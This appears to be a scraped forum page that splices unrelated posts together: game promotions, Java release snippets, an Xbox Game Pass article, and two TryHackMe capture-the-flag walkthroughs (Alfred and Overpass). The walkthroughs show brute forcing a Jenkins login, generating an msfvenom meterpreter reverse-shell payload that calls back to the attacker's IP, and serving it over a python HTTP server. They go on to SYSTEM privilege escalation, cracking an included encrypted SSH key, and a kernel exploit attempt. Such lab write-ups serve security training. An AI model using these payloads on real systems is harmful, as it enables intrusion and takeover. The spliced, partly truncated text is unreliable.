Master of Magic is a combination of an RPG and a strategy game, a remake of a classic from the 90s.
In Master of Magic you take up the role of one of 14 unique and diverse great wizards who compete with each other to dominate the worlds of Arcanus and Myrror. Choose from different schools of magic and fantasy races to command, then lead your minions and expand your influence and power across the land.
Recruit and command mighty armies of elves, dragons, dwarves, orcs and many more. Support them with powerful spells. Fight tactical turn-based battles and affect the outcome with your magic.
Always beware of the machinations of your rival wizards, who seek to reach your same goals. But in the end, remember: there can be only one Master of Magic.
Follow OpenJDK on Twitter 2020 proved to be a memorable year for Java as we celebrated its 25th birthday. With over two decades of innovation, Java has continued to be: Flexible by adapting to the changing technology landscape while remaining platform independent. Reliable by retaining backwards com...
Posted by: xSicKxBot - 12-28-2022, 10:21 AM - Forum: Python
- No Replies
TryHackMe Alfred – How I Solved The Challenge [+Video]
5/5 – (1 vote)
In this Capture the Flag (CTF) challenge walkthrough, I’ll hack into a windows service called Jenkins, find a way to carry out Remote Command Execution (RCE) by using Metasploit to gain access to the box and escalate my privileges to the NT AUTHORITY/SYSTEM, which is the equivalent of root on a Windows machine.
Challenge: I need to capture two “flags”, the user.txt flag and the root.txt flag. Let’s get started!
First, we’ll note down our IP addresses, export them, and run our nmap scan with the flag -Pn to skip host discovery.
INITIAL ENUMERATION
IPs
export myIP=10.6.2.23
export targetIP=10.10.99.176 ┌──(tester㉿box)-[~/THM]
└─$ nmap 10.10.216.90 -Pn
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-10 22:39 EST
Nmap scan report for 10.10.216.90
Host is up (0.083s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
3389/tcp open ms-wbt-server
8080/tcp open http-proxy Nmap done: 1 IP address (1 host up) scanned in 7.05 seconds
We see that there are three open ports.
There is an HTTP service running on port 80. That is presumably a website that we will look at in a moment on our browser.
The ms-wbt-server running on port 3389 looks interesting. A quick google search reveals that it has something to do with the RDP (remote desktop protocol).
Also, the http-proxy on 8080 looks intriguing. On port 80 we find a picture of batman in plainclothes. There’s not much here to see. A quick look at the source HTML code doesn’t reveal anything else interesting.
HACKING JENKINS WITH BURPSUITE
On port 8080, we find a login page to Jenkins.
Let’s take a few guesses with some of the standard factory-set passwords: admin:password, admin:admin, etc.
Using the proxy intercept and sending it to the intruder function, we can set up a list of passwords and usernames to try as a sniper-style attack.
Based on the different lengths of the responses, we can see that admin:admin may be our winning combination. We are in luck that this company has lazy administrators who don’t properly safeguard their business! The system lets us in as expected with admin:admin.
At TryHackMe’s suggestion, we’ll use Nishang for spawning a revshell from windows. Inside the Jenkins admin dashboard, we can click on project 1 and then edit configure.
In the last text box, we can perform remote command execution.
USING REMOTE COMMAND EXECUTION TO SPAWN A REVSHELL PAYLOAD
First, let’s spawn a reverse shell using PowerShellTcp.ps1 from nishang’s git repo. After downloading the file from the git repo, we launch a Netcat listener with the command:
nc -lnvp 8888
Then we use the following command in the last text box on Jenkins project 1 settings.
We can create a custom malicious payload to enable us to connect to a more powerful reverse shell within Metasploit using the following command in our attack box:
sudo msfvenom -p windows/meterpreter/reverse_tcp -a x86 – encoder x86/shikata_ga_nai LHOST=10.6.2.23 LPORT=4444 -f exe -o shell.exe
Now we need to start up Metasploit console:
Msfconsole
Load the meterpreter exploit/multi/handler:
use exploit/multi/handler
Set up our payload:
set payload windows/meterpreter/reverse_tcp payload
And finally, type: run
First, we’ll spin up a simple HTTP server to copy shell.exe to windows with:
python -m http.server 8000
Then we can copy and run the file on the target machine by again using remote command execution via the Jenkins edit build function:
And Metasploit successfully launches a new meterpreter session on the target box. If the shell.exe file is grabbed successfully from the HTTP server (code 200), but no meterpreter shell is spawned, we can use one more Jenkins RCE to run the revshell:
./shell.exe
PRIVILEGE ESCALATION TO ROOT
First, we issue the following command in our meterpreter to automatically escalate to the highest privilege possible:
getsystem
We now operate with NT AUTHORITY/SYSTEM privileges for most things, but not every single command. To fix this, we can migrate to another process on the target machine.
Entering the command “ps” will give us a list of processes. We’ll use the process system.exe with the following command:
migrate <PID> (process id of the target process running by NT AUTHORITY/SYSTEM, in this case system.exe)
Now we are running metasploit in the RAM of our target machine on the system.exe process. We have full NT AUTHORITY/SYSTEM privileges and can easily find root.txt with the following command:
This is a good game, expect epic to go down and keep on trying, 24 hours only
It was the directors cut, they downgraded it
To grab the game for free: - Go to the store page of Death Stranding - https://store.epicgames.com/p/death-stranding - Click on the GET Button - Verify that the price is zero - Click on the Place Order Button - That's it, the game will be added to you Epic Games Account
This game is free to keep if claimed by December 26, 2022 5:00 PM or in a day
We are welcoming everyone to join our discord[discord.gg]. We are more active there on finding giveaways, small or large, and there are daily raffles you can participate.
Posted by: xSicKxBot - 12-28-2022, 10:20 AM - Forum: Lounge
- No Replies
Xbox Game Pass Losing 9 Games Soon, Including Outer Wilds
Despite no official announcement coming down from Microsoft as of yet, it looks like nine games are leaving Xbox Game Pass very soon, including the very good game The Outer Wilds.
Pure Xbox was first to notice that the official Game Pass app states that The Outer Wilds is listed under the "leaving soon" tab for console and PC. GameSpot has confirmed this as well. Other titles leaving the service soon, according to the app, will include Embr, Gorogoa, Iron Harvest, Immortal Realms: Vampire Wars, Scarlet Nexus, Secret Neighbor, The Pedestrian, and Tropico 6. Again, Microsoft has not made any official announcements about titles leaving Game Pass yet, so this is not yet completely confirmed. The titles are reportedly set for removal on December 31.
Microsoft typically adds and removes titles from the Game Pass library twice per month. As of yet, however, Microsoft has not announced a Wave 2 of additions and removals for December, despite there being fewer than two weeks left in the month.
CRISIS CORE -FINAL FANTASY VII- REUNION is a full remaster of the PlayStation Portable exclusive CRISIS CORE -FINAL FANTASY VII-, which originally launched back in 2007. CRISIS CORE -FINAL FANTASY VII- REUNION is a true remaster that follows the original's narrative: Zack Fair's mission to find the missing SOLDIER Genesis Rhapsodos. It features multiple improvements from the original game - for example, the graphics have been converted to HD, with all the 3D models, from the characters to everything else, being fully refreshed. What's more the dialogue is now fully voice-acted, and there's a new arrangement for the soundtrack!
JDK 16 is live! Download it from the Java SE Downloads page. See the JDK 16 Release Notes for detailed information about this release. The following are some of the important additions and updates in Java SE 16 and JDK 16: The Java programming language is enhanced with pattern matching for the insta...
The premise of the box is that a group of computer science students has created a password encryption/decryption tool.
Target: One of the CS students posing on a party
"What happens when a group of broke Computer Science students try to make a password manager? Obviously a perfect commercial success!"
We are tasked with hacking our way into their server as the root user.
Attacker: A sophisticated hacker – not who you may expect.
This capture-the-flag challenge on TryHackMe involves cookie creation and file spoofing in order to escalate privileges to the root user. It is rated as an easy box. If you don’t like spoilers, I’d recommend trying this free hacking challenge first before reading any further.
This box is the first in a three-part series. In part two, we will be doing some basic forensics after a cyber attack hits the overpass server.
And in part three we will prove to the Overpass developers that they need to make some security upgrades to their server hosting.
First, let’s record our IPs and get them ready to export as Linux variables.
┌─[kalisurfer@parrot]─[~/THM/overpass-walkthrough]
└──╼ $sudo nmap $targetIP
[sudo] password for kalisurfer:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-21 06:01 EST
Nmap scan report for 10.10.179.249
Host is up (0.087s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 8.44 seconds
---
Nothing is surprising here. These are the standard ports for HTTP web applications and ssh services.
Next, we’ll run a dirb scan to do some directory sniffing. Our dirb scan results reveal a few interesting HTML directories. We’ll take a closer look into each of these leads.
/admin
/aboutus
/css
/downloads
We find the plaintext sourcecode in the /downloads folder!
This will almost certainly be worth looking at closely for more information about the encryption mechanism. Posting the sourcecode is the first of several horrible decisions the Overpass dev team has made with their password storage program.
Some of the takeaways from examining the source code are:
Encrypted passwords are saved locally in a hidden file .passlist in the root directory. This will probably be are method for retrieving the root password after we gain an initial foothold into the system.
This encryption (ROT47) is invertible, which means to decrypt a password all we have to do is run the ROT47 cipher code a second time.
There is also an executable file for each operating system of the password storage tool. Download and running the program overpassLinux shows that we can retrieve passwords as long as there is a .overpass hidden file in the /root directory.
INITIAL FOOTHOLD VIA COOKIE CREATION
We find a login portal at $targetIP/admin.
First, we inspect the login with burpsuite and carefully examine the response to an unsuccessful username:password, noticing that the user is rerouted to /admin after an unsuccessful login attempt.
Instead of wasting time attempting to bruteforce our way in with a wordlist, we use firefox in developer mode and discover that there are no stored cookies. If we create a new cookie with the name SessionToken, and a reroute path of “/” we find a hidden encrypted ssh key. Voila!
Since you keep forgetting your password, James, I've set up SSH keys for you. If you forget the password for this, crack it yourself. I'm tired of fixing stuff for you.
Also, we really need to talk about this "Military Grade" encryption. - Paradox -----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,9F85D92F34F42626F13A7493AB48F337 LNu5wQBBz7pKZ3cc4TWlxIUuD/opJi1DVpPa06pwiHHhe8Zjw3/v+xnmtS3O+qiN
JHnLS8oUVR6Smosw4pqLGcP3AwKvrzDWtw2ycO7mNdNszwLp3uto7ENdTIbzvJal
73/eUN9kYF0ua9rZC6mwoI2iG6sdlNL4ZqsYY7rrvDxeCZJkgzQGzkB9wKgw1ljT
WDyy8qncljugOIf8QrHoo30Gv+dAMfipTSR43FGBZ/Hha4jDykUXP0PvuFyTbVdv
BMXmr3xuKkB6I6k/jLjqWcLrhPWS0qRJ718G/u8cqYX3oJmM0Oo3jgoXYXxewGSZ
AL5bLQFhZJNGoZ+N5nHOll1OBl1tmsUIRwYK7wT/9kvUiL3rhkBURhVIbj2qiHxR
3KwmS4Dm4AOtoPTIAmVyaKmCWopf6le1+wzZ/UprNCAgeGTlZKX/joruW7ZJuAUf
ABbRLLwFVPMgahrBp6vRfNECSxztbFmXPoVwvWRQ98Z+p8MiOoReb7Jfusy6GvZk
VfW2gpmkAr8yDQynUukoWexPeDHWiSlg1kRJKrQP7GCupvW/r/Yc1RmNTfzT5eeR
OkUOTMqmd3Lj07yELyavlBHrz5FJvzPM3rimRwEsl8GH111D4L5rAKVcusdFcg8P
9BQukWbzVZHbaQtAGVGy0FKJv1WhA+pjTLqwU+c15WF7ENb3Dm5qdUoSSlPzRjze
eaPG5O4U9Fq0ZaYPkMlyJCzRVp43De4KKkyO5FQ+xSxce3FW0b63+8REgYirOGcZ
4TBApY+uz34JXe8jElhrKV9xw/7zG2LokKMnljG2YFIApr99nZFVZs1XOFCCkcM8
GFheoT4yFwrXhU1fjQjW/cR0kbhOv7RfV5x7L36x3ZuCfBdlWkt/h2M5nowjcbYn
exxOuOdqdazTjrXOyRNyOtYF9WPLhLRHapBAkXzvNSOERB3TJca8ydbKsyasdCGy
AIPX52bioBlDhg8DmPApR1C1zRYwT1LEFKt7KKAaogbw3G5raSzB54MQpX6WL+wk
6p7/wOX6WMo1MlkF95M3C7dxPFEspLHfpBxf2qys9MqBsd0rLkXoYR6gpbGbAW58
dPm51MekHD+WeP8oTYGI4PVCS/WF+U90Gty0UmgyI9qfxMVIu1BcmJhzh8gdtT0i
n0Lz5pKY+rLxdUaAA9KVwFsdiXnXjHEE1UwnDqqrvgBuvX6Nux+hfgXi9Bsy68qT
8HiUKTEsukcv/IYHK1s+Uw/H5AWtJsFmWQs3bw+Y4iw+YLZomXA4E7yxPXyfWm4K
4FMg3ng0e4/7HRYJSaXLQOKeNwcf/LW5dipO7DmBjVLsC8eyJ8ujeutP/GcA5l6z
ylqilOgj4+yiS813kNTjCJOwKRsXg2jKbnRa8b7dSRz7aDZVLpJnEy9bhn6a7WtS
49TxToi53ZB14+ougkL4svJyYYIRuQjrUmierXAdmbYF9wimhmLfelrMcofOHRW2
+hL1kHlTtJZU8Zj2Y2Y3hd6yRNJcIgCDrmLbn9C5M0d7g0h2BlFaJIZOYDS6J6Yk
2cWk/Mln7+OhAApAvDBKVM7/LGR9/sVPceEos6HTfBXbmsiV+eoFzUtujtymv8U7
-----END RSA PRIVATE KEY-----
It looks like our initial foothold will be as the user james. Let’s pause for a moment to collect our thoughts and plan out the next steps in our attack.
RETRIEVING THE PASSCODE FOR THE ENCRYPTED SSH FILE
This is our plan going forward to retrieve the passcode for the encrypted ssh file:
Save the ssh key string as a new file (without the header and footer).
Use ssh2john to prep the hash for john the ripper.
Use john to crack that hash and find key our ssh keyfile passcode
SSHing INTO USER JAMES
With the following command, we can now log in as james with our trusty ssh passcode and ssh keyfile. The user.txt flag is right there in James’ home folder.
!!!
Thm{65c 6bf7}
!!!
USING OVERPASSLINUX TO RETRIEVE THE USER PASSWORD
Now that we are in as user James, we can run the overpass program again on the encoded string (,LQ?2> 8A:4EFC6QN.)
We hit a small snag, seeing that user James doesn’t have proper permissions to run overpassLinux on target machine. Using SCP we can copy James’ .overpass file to our attack machine. Running overpassLinux on our machine, we can now recover James’ account password.
I decided to use python3 to create a rot47 encryption/decryption script. A quick google search brought up the following script:
def rot47(s): x = [] for i in range(len(s)): j = ord(s[i]) if j >= 33 and j <= 126: x.append(chr(33 + ((j + 14) % 94))) else: x.append(s[i]) return ''.join(x) s=",LQ?2> 8A:4EFC6QN."
print(rot47(s))
Using nano to edit the script, I added a few tweaks to make it run smoothly on my machine and decrypt James’ password.
However, after compiling the exploit and running it on the target machine, the exploit failed saying that this machine is not vulnerable.
Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
[.] Checking environment ...
[!] Warning: Could not find active PolKit agent
[.] Searching for known helpers ...
[.] Searching for useful helpers ...
[.] Ignoring blacklisted helper: /usr/lib/update-notifier/package-system-locked
Running the attack with Metasploit using the PTRACE_TRACEME module also failed, confirming my hunch that this isn’t a viable attack vector.
FINDING A VIABLE ATTACK VECTOR FOR PRIVILEGE ESCALATION
Next, we check the crontab on the target machine for any automated programs set to run regularly:
cat /etc/crontab
And bingo! We found a viable escalation path -!!!
The following output shows that buildscript.sh is set to run as root every minute as a curl command from overpass.thm/downloads/src/.
Metro Last Light Redux - Free Epic Games Game - 24 Hours Only
Metro: Last Light Redux - 24 hours only
To grab the game for free: - Go to the store page of Metro: Last Light Redux - https://store.epicgames.com/p/metro-last-light-redux - Click on the GET Button - Verify that the price is zero - Click on the Place Order Button - That's it, the game will be added to you Epic Games Account
This game is free to keep if claimed by December 24, 2022 5:00 PM or in a day
We are welcoming everyone to join our discord[discord.gg]. We are more active there on finding giveaways, small or large, and there are daily raffles you can participate.